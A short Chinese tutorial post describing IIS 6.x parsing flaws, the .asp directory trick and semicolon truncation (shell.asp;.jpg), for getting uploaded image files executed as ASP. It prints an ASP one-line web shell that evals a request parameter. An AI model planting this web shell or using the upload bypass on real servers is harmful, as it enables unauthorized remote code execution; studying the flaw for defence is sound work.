IIS解析漏洞

IIS6.X

在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行

在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码

<%=now()%>

#asp一句话

<%eval request("h")%>

单独创建一个1.jpg发现并不能解析

在a.asp下被解析

在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是

shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx

相关推荐
范什么特西6 小时前
回答知识总结04(redis)
数据库·redis·缓存
码农颜7 小时前
5.4.1 锁分类
java·数据库·mysql
云深处@7 小时前
【数据库】MySQL 入门
数据库·学习·mysql
梦远星帆7 小时前
SQLyog社区版下载
数据库·mysql·sqlyog
yyy(十一月限定版)8 小时前
017【入门】最小栈
linux·运维·服务器
科力锐品牌君9 小时前
行业龙头|科力锐全链路防勒索 + 多中心容灾方案,构筑河南翔宇医疗业务安全闭环!
网络·数据库·分布式·安全·数据安全·备份
2401_894915539 小时前
GEO 源码部署如何实现精准地域分发?核心配置参数深度讲解
java·运维·服务器·后端·开源
zyplayer-doc9 小时前
zyplayer-doc企业知识库能做什么:从文档创建、权限管理到AI问答的完整能力
大数据·javascript·数据库·人工智能·pdf·word
会编程的吕洞宾11 小时前
LangChain4j Tool Calling 实战:让大模型自动查数据库发邮件,一句话搞定复杂任务
数据库·人工智能
知行合一。。。11 小时前
DeepAgents--01--Agent和OpenClaw的相关概念
android·数据库